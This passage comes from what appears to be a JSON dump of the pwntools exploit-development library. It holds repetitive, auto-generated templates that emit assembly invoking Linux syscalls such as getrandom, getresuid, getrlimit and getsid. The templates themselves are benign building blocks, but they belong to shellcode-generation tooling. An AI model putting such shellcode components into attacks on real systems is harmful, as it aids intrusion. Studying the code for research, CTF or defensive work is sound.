regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getpriority']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getpriority'])\n%>\n    /* getpriority(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getrandom.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getrandom(buf, buflen, flags) -> str\n\nInvokes the syscall getrandom.\n\nSee 'man 2 getrandom' for more information.\n\nArguments:\n    buf(void*): buf\n    buflen(size_t): buflen\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"buf=0, buflen=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['buf', 'buflen', 'flags']\n    argument_values = [buf, buflen, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getrandom']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getrandom'])\n%>\n    /* getrandom(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getresgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getresgid(rgid, egid, sgid) -> str\n\nInvokes the syscall getresgid.\n\nSee 'man 2 getresgid' for more information.\n\nArguments:\n    rgid(gid_t*): rgid\n    egid(gid_t*): egid\n    sgid(gid_t*): sgid\nReturns:\n    int\n</%docstring>\n<%page args=\"rgid=0, egid=0, sgid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['rgid', 'egid', 'sgid']\n    argument_values = [rgid, egid, sgid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getresgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getresgid'])\n%>\n    /* getresgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getresgid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getresgid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getresgid32.\n\nSee 'man 2 getresgid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getresgid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getresgid32'])\n%>\n    /* getresgid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getresuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getresuid(ruid, euid, suid) -> str\n\nInvokes the syscall getresuid.\n\nSee 'man 2 getresuid' for more information.\n\nArguments:\n    ruid(uid_t*): ruid\n    euid(uid_t*): euid\n    suid(uid_t*): suid\nReturns:\n    int\n</%docstring>\n<%page args=\"ruid=0, euid=0, suid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['ruid', 'euid', 'suid']\n    argument_values = [ruid, euid, suid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getresuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getresuid'])\n%>\n    /* getresuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getresuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getresuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getresuid32.\n\nSee 'man 2 getresuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getresuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getresuid32'])\n%>\n    /* getresuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getrlimit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getrlimit(resource, rlimits) -> str\n\nInvokes the syscall getrlimit.\n\nSee 'man 2 getrlimit' for more information.\n\nArguments:\n    resource(rlimit_resource_t): resource\n    rlimits(rlimit*): rlimits\nReturns:\n    int\n</%docstring>\n<%page args=\"resource=0, rlimits=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['resource', 'rlimits']\n    argument_values = [resource, rlimits]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getrlimit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getrlimit'])\n%>\n    /* getrlimit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getrusage.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getrusage(who, usage) -> str\n\nInvokes the syscall getrusage.\n\nSee 'man 2 getrusage' for more information.\n\nArguments:\n    who(rusage_who_t): who\n    usage(rusage*): usage\nReturns:\n    int\n</%docstring>\n<%page args=\"who=0, usage=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['who', 'usage']\n    argument_values = [who, usage]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getrusage']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getrusage'])\n%>\n    /* getrusage(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getsid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getsid(pid) -> str\n\nInvokes the syscall getsid.\n\nSee 'man 2 getsid' for more information.\n\nArguments:\n    pid(pid_t): pid\nReturns:\n    pid_t\n</%docstring>\n<%page args=\"pid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid']\n    argument_values = [pid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getsid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getsid'])\n%>\n    /* getsid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getsockname.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getsockname(fd, addr, length) -> str\n\nInvokes the syscall getsockname.\n\nSee 'man 2 getsockname' for more information.\n\nArguments:\n    fd(int): fd\n    addr(SOCKADDR_ARG): addr\n    length(socklen_t*): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, addr=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'addr', 'length']\n    argument_values = [fd, addr, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n   